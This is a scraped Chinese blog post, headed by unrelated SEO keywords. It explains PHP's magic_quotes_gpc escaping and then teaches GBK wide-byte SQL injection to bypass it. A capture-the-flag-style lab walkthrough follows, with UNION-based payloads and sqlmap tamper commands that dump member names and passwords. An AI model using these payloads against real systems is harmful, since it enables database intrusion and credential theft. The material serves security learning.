做推广需要网站吗,wordpress 函数大全,贵阳建设公司网站,下载京东购物magic_quotes_gpc#xff08;魔术引号开关#xff09;
https://www.cnblogs.com/timelesszhuang/p/3726736.html
magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据#xff0c;如包括有#xff1a;post、get、cookie过来的数据增加转义字符“\”#xff0c;以…magic_quotes_gpc魔术引号开关
https://www.cnblogs.com/timelesszhuang/p/3726736.html
magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据如包括有post、get、cookie过来的数据增加转义字符“\”以确保这些数据不会引起程序特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
单引号’、双引号”、反斜线\等字符都会被加上反斜线
magic_quotes_gpc的作用当PHP的传参中有特殊字符就会再前面加转义字符\,来做一定的过滤 addslashes()函数 二者关系
php get_magic_quotes_gpc() stripslashes()和addslashes()的关系-CSDN博客 PHP为了安全性所以引入了个magic_quotes_gpc On的功能可以不需要做任何处理就能直接把单引号插入数据库中那么对于Off时则需要考虑单引号的问题了而不是一味地信任运行环境。 当magic_quotes_gpc On时使用了addslashes()处理后的数据在数据库中将以\形式保存如果此时直接输出的话就会发现比自己期待的内容多了个\因此stripslashes()出场了它能把\去掉区别于str_replace(”\”, “”,$Str)。 当magic_quotes_gpc Off时使用了addslashes()处理后的数据在数据库中将以形式保存没有上面说的有\的问题addslashes()起到插入数据不出错的作用如果此时直接输出的话数据正常。不需要再用stripslashes()。addslashes()和stripslashes()正好是相反的直接记忆addslashes()加个\stripslashes()去个\ 那么什么时候用呢 简单说 当magic_quotes_gpc On时系统会自动处理单引号等问题用不用addslashes()和stripslashes()都没关系但是如果添加数据时用了addslashes()那么显示数据时必须要stripslashes() 当magic_quotes_gpc Off时系统不会处理单引号等问题所以插入数据时必须要使用addslashes()显示数据时则不需要使用stripslashes()。 既然有了分析做程序时要怎么办呢根据以上两种情况可得 不管magic_quotes_gpc是On还是Off添加数据时用addslashes()当On时必须使用stripslashes()Off时则不能用stripslashes()。 为了绕过magic_quotes_gpc的\,于是乎我们开始导入宽字节的概念
我们发现\的编码是%5c然后我们会想到传参一个字符想办法凑成一个gbk字符,例如‘運’字是%df%5c
SELECT * FROM users WHERE id1\ LIMIT 0,1
这条语句因为\使我们无法去注入那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運然后成功的让
SELECT * FROM users WHERE id1\# LIMIT 0,1
\ 实际上就是那个運字 宽字节概念
1、单字节字符集所有的字符都使用一个字节来表示比如 ASCII 编码(0-127)
2、多字节字符集在多字节字符集中一部分字节用多个字节来表示另一部分可能没有用单个字节来表示。
3、UTF-8 编码 是一种编码的编码方式多字节编码它可以使用1~4个字节表示一个符号根据不同的符号而变化字节长度。
4、宽字节注入时利用mysql的一个特性使用GBK编码的时候会认为两个字符是一个汉字 宽字节sql注入
宽字节SQL注入就是PHP发送请求到MySql时使用了语句
SET NAMES gbk 或是SET character_set_client gbk 进行了一次编码但是又由于一些不经意的字符集转换导致了宽字节注入。 实战墨者
手工
找到注入点 发现35是回显点
?id-1%df union select 1,2,database(),4,5--?id-1%df union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schemadatabase() -- 然后我们在查询列名的时候发现因为单引号无法闭合而报错
?id-1%df union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_namestormgroup_member -- 这里应该怎么解决呢
看了wp转成了十六进制
嗯。。不错 payload
?id-1%df union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name0x73746f726d67726f75705f6d656d626572 -- 有了
?id-1%df union select 1,2,3,4,group_concat(name) from stormgroup_member --?id-1%df union select 1,2,3,4,group_concat(password) from stormgroup_member -- tamper
sqlmap.py -u http://124.70.71.251:48968/new_list.php?id1 --tamperunmagicquotes.py --dbs sqlmap.py -u http://124.70.71.251:48968/new_list.php?id1 --tamperunmagicquotes.py -D mozhe_discuz_stormgroup --tables sqlmap.py -u http://124.70.71.251:48968/new_list.php?id1 --tamperunmagicquotes.py -D mozhe_discuz_stormgroup -T stormgroup_member --columns sqlmap.py -u http://124.70.71.251:48968/new_list.php?id1 --tamperunmagicquotes.py -D mozhe_discuz_stormgroup -T stormgroup_member --dump